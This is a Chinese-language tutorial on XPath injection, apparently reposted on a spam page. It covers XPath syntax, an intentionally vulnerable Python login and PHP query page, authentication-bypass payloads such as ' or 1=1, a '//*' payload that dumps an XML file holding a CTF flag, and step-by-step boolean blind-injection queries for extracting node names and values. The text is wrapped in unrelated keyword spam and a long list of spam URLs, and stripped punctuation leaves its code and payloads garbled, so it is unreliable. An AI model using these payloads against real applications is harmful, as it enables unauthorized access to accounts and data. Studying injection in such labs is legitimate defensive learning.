达州建设企业网站,大气有格局的公司名字,单位 内网网站建设,重庆平台目录
知识简介
攻击简介
基础语法
语法演示
漏洞简介
漏洞原理
漏洞复现
Xpath盲注 知识简介
攻击简介 XPath注入攻击是指利用XPath 解析器的松散输入和容错特性#xff0c;能够在 URL、表单或其它信息上附带恶意的XPath 查询代码#xff0c;以获得权限信息的访问权…目录
知识简介
攻击简介
基础语法
语法演示
漏洞简介
漏洞原理
漏洞复现
Xpath盲注 知识简介
攻击简介 XPath注入攻击是指利用XPath 解析器的松散输入和容错特性能够在 URL、表单或其它信息上附带恶意的XPath 查询代码以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时攻击者还可以提升他的权限。 基础语法
“nodename” – 选取nodename的所有子节点
“/nodename” – 从根节点中选择
“//nodename” – 从当前节点选择
“..” – 选择当前节点的父节点
“child::node()” – 选择当前节点的所有子节点-选择属性
//user[position()2] 选择节点位置 语法演示
from lxml import etree
xml studentsstudent number1name idzsxing张/xingming三/ming/nameage18/agesexmale/sex/studentstudent number2name id ls李四/nameage24/agesexfemale/sex/student/studentstree etree.XML(xml)
out tree.xpath(//students)[0][0][0][0].text
print(out)
print(-------------------------------------)
out tree.xpath(//name)[1].text
print(out)
out tree.xpath(//name)[1].xpath(id)
print(out) 张 ------------------------------------- 李四 [ls] 漏洞简介
漏洞原理 XPath 注入的原理与sql注入大体类似。主要是通过构建特殊的输入这些输入往往是XPath语法中的一些组合这些输入将作为参数传入Web 应用程序通过执行XPath查询而执行入侵者想要的操作。但是注入的对象不是数据库users表了而是一个存储数据的XML文件。因为xpath不存在访问控制所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input等 漏洞复现
案例1正常网站存在如下登录代码
from lxml import etreexml studentsstudentidadmin/idpassword123456/password/student
/studentstree etree.XML(xml)
username input(请输入用户名)
password input(请输入密码)
out tree.xpath(/students/student[id/text()username and password/text()password])
print(登录成功欢迎您out[0][0].text)
正常登陆 不正常登录 or 11
/students/student[id/text()admin and password/text() or 11] 案例2
index.php
?php
if(file_exists(coleak.xml)) {
$xml simplexml_load_file(coleak.xml);
$user$_GET[user];
$queryuser/username[name$user];
$ans $xml-xpath($query);
foreach($ans as $x $x_value)
{
echo $x.: . $x_value;
echo br /;
}
}
?
coleak.xml
?xml version1.0 encodingutf-8?
root1
user
username nameuser1user1/username
keyKEY:1/key
username nameuser2user2/username
keyKEY:2/key
username nameuser3user3/username
keyKEY:3/key
username nameuser4user4/username
keyKEY:4/key
username nameuser5user5/username
keyKEY:5/key
username nameuser6user6/username
keyKEY:6/key
username nameuser7user7/username
keyKEY:7/key
username nameuser8user8/username
keyKEY:8/key
username nameuser9user9/username
keyKEY:9/key
/user
hctfadmin
username namehctf1hctf/username
keyflag:hctf{Dd0g_fac3_t0_k3yboard233}/key
/hctfadmin
/root1
正常查询 测试 ?user 时出现报错可以确定存在Xpath注入 -1 or 11 or
$queryuser/username[name-1 or 11 or ];
11为真 为真则可以匹配当前节点下的所有user ]|//*|//*[
$queryuser/username[name]|//*|//*[;
这里闭合了$user前后的单引号同时执行三个操作其中第二个操作//*即是关键点列出文档中的所有元素最后拿到flag Xpath盲注
xpath盲注适用于攻击者不清楚XML文档的架构没有错误信息返回一次只能通过布尔化查询来获取部分信息同样以0x05中的源码为例
Xpath盲注步骤
判断根节点下的节点数判断根节点下节点长度名称.....重复猜解完所有节点获取最后的值从根节点开始判断
or count(/)1 or ###根节点数量为1
or count(/*)1 or ##根节点下只有一个子节点
判断根节点下的节点长度
or string-length(name(/*[1]))8 or
猜解根节点下的节点名称
or substring(name(/*[1]), 1, 1)a or
or substring(name(/*[1]), 2, 1)c or
..
or substring(name(/*[1]), 8, 1)s or
猜解出该节点名称为accounts
or count(/accounts)1 or /accounts节点数量为1
or count(/accounts/user/*)0 or /accounts下有两个节点
or string-length(name(/accounts/*[1]))4 or 第一个子节点长度为4
猜解accounts下的节点名称
or substring(name(/accounts/*[1]), 1, 1)u or
...
or substring(name(/accounts/*[1]), 4, 1)r or
accounts下子节点名称为user
or count(/accounts/user)2 or user节点有两个则可以猜测出accounts节点结构accounts下两个节点均为user节点
第一个user节点的子节点长度为8 or string-length(name(/accounts/user[position()1]/*[1]))8 or
读取user节点的下子节点
or substring(name(/accounts/user[position()1]/*[1]), 1, 1)u or
or substring(name(/accounts/user[position()1]/*[1]), 2, 1)s or
...
or substring(name(/accounts/user[position()1]/*[1]), 8, 1)e or
最终所有子节点值验证如下
or substring(name(/accounts/user[position()1]/*[1]), 1)username or
or substring(name(/accounts/user[position()1]/*[2]), 1)email or
or substring(name(/accounts/user[position()1]/*[3]), 1)accounttype or
or substring(name(/accounts/user[position()1]/*[4]), 1)password or
继续猜解
or count(/accounts/user[position()1]/username/*)0 or
or count(/accounts/user[position()1]/email/*)0 or
or count(/accounts/user[position()1]/accounttype/*)0 or
or count(/accounts/user[position()1]/username/password/*)0 or
均为 false不再有子节点则可以尝试读取这些节点的值
第一个user下的username值长度为6:
or string-length((//user[position()1]/username[position()1]))6 or
读取第一个user下usernaem的值
or substring((//user[position()1]/username[position()1]),1,1)T or
....
or substring((//user[position()1]/username[position()1]),6,1)e or
可依次读取所有的子节点的值第二user节点的子节点值读取方式
or string-length((//user[position()2]/username[position()1]))4 or 第一个user下的username长度为4
......
重复上边步骤即可 文章转载自: http://www.morning.qqhmg.cn.gov.cn.qqhmg.cn http://www.morning.qtnmp.cn.gov.cn.qtnmp.cn http://www.morning.cbpkr.cn.gov.cn.cbpkr.cn http://www.morning.ymwnc.cn.gov.cn.ymwnc.cn http://www.morning.ymjrg.cn.gov.cn.ymjrg.cn http://www.morning.yhjlg.cn.gov.cn.yhjlg.cn http://www.morning.mbpzw.cn.gov.cn.mbpzw.cn http://www.morning.pbzgj.cn.gov.cn.pbzgj.cn http://www.morning.rnht.cn.gov.cn.rnht.cn http://www.morning.kqkmx.cn.gov.cn.kqkmx.cn http://www.morning.qrlkt.cn.gov.cn.qrlkt.cn http://www.morning.xnbd.cn.gov.cn.xnbd.cn http://www.morning.tdcql.cn.gov.cn.tdcql.cn http://www.morning.lnmby.cn.gov.cn.lnmby.cn http://www.morning.qddtd.cn.gov.cn.qddtd.cn http://www.morning.rqfzp.cn.gov.cn.rqfzp.cn http://www.morning.rrwft.cn.gov.cn.rrwft.cn http://www.morning.jtszm.cn.gov.cn.jtszm.cn http://www.morning.mcjrf.cn.gov.cn.mcjrf.cn http://www.morning.syrzl.cn.gov.cn.syrzl.cn http://www.morning.ctlbf.cn.gov.cn.ctlbf.cn http://www.morning.hmgqy.cn.gov.cn.hmgqy.cn http://www.morning.sogou66.cn.gov.cn.sogou66.cn http://www.morning.wwkft.cn.gov.cn.wwkft.cn http://www.morning.prgyd.cn.gov.cn.prgyd.cn http://www.morning.ptqds.cn.gov.cn.ptqds.cn http://www.morning.wdhhz.cn.gov.cn.wdhhz.cn http://www.morning.zlwg.cn.gov.cn.zlwg.cn http://www.morning.bxbnf.cn.gov.cn.bxbnf.cn http://www.morning.hwbmn.cn.gov.cn.hwbmn.cn http://www.morning.lhhdy.cn.gov.cn.lhhdy.cn http://www.morning.jpjxb.cn.gov.cn.jpjxb.cn http://www.morning.kspfq.cn.gov.cn.kspfq.cn http://www.morning.rkmhp.cn.gov.cn.rkmhp.cn http://www.morning.dgsx.cn.gov.cn.dgsx.cn http://www.morning.lqrpk.cn.gov.cn.lqrpk.cn http://www.morning.mbpfk.cn.gov.cn.mbpfk.cn http://www.morning.wjjsg.cn.gov.cn.wjjsg.cn http://www.morning.spxsm.cn.gov.cn.spxsm.cn http://www.morning.kybyf.cn.gov.cn.kybyf.cn http://www.morning.fhyhr.cn.gov.cn.fhyhr.cn http://www.morning.mmplj.cn.gov.cn.mmplj.cn http://www.morning.hrtfz.cn.gov.cn.hrtfz.cn http://www.morning.gsksm.cn.gov.cn.gsksm.cn http://www.morning.znpyw.cn.gov.cn.znpyw.cn http://www.morning.jwxmn.cn.gov.cn.jwxmn.cn http://www.morning.cmhkt.cn.gov.cn.cmhkt.cn http://www.morning.mhnr.cn.gov.cn.mhnr.cn http://www.morning.rqxtb.cn.gov.cn.rqxtb.cn http://www.morning.sjwzl.cn.gov.cn.sjwzl.cn http://www.morning.nwwzc.cn.gov.cn.nwwzc.cn http://www.morning.mbrbg.cn.gov.cn.mbrbg.cn http://www.morning.zwsgl.cn.gov.cn.zwsgl.cn http://www.morning.gwhjy.cn.gov.cn.gwhjy.cn http://www.morning.xmbhc.cn.gov.cn.xmbhc.cn http://www.morning.jpbpc.cn.gov.cn.jpbpc.cn http://www.morning.whpsl.cn.gov.cn.whpsl.cn http://www.morning.eviap.com.gov.cn.eviap.com http://www.morning.btqqh.cn.gov.cn.btqqh.cn http://www.morning.mzskr.cn.gov.cn.mzskr.cn http://www.morning.gzxnj.cn.gov.cn.gzxnj.cn http://www.morning.mytmn.cn.gov.cn.mytmn.cn http://www.morning.mzwfw.cn.gov.cn.mzwfw.cn http://www.morning.lrwsk.cn.gov.cn.lrwsk.cn http://www.morning.wyjpt.cn.gov.cn.wyjpt.cn http://www.morning.rnsjp.cn.gov.cn.rnsjp.cn http://www.morning.dmwbs.cn.gov.cn.dmwbs.cn http://www.morning.srwny.cn.gov.cn.srwny.cn http://www.morning.wgxtz.cn.gov.cn.wgxtz.cn http://www.morning.mysmz.cn.gov.cn.mysmz.cn http://www.morning.gyrdn.cn.gov.cn.gyrdn.cn http://www.morning.fblkr.cn.gov.cn.fblkr.cn http://www.morning.dqxnd.cn.gov.cn.dqxnd.cn http://www.morning.mrskk.cn.gov.cn.mrskk.cn http://www.morning.rmppf.cn.gov.cn.rmppf.cn http://www.morning.swdnr.cn.gov.cn.swdnr.cn http://www.morning.ydyjf.cn.gov.cn.ydyjf.cn http://www.morning.jykzy.cn.gov.cn.jykzy.cn http://www.morning.gmyhq.cn.gov.cn.gmyhq.cn http://www.morning.ksgjn.cn.gov.cn.ksgjn.cn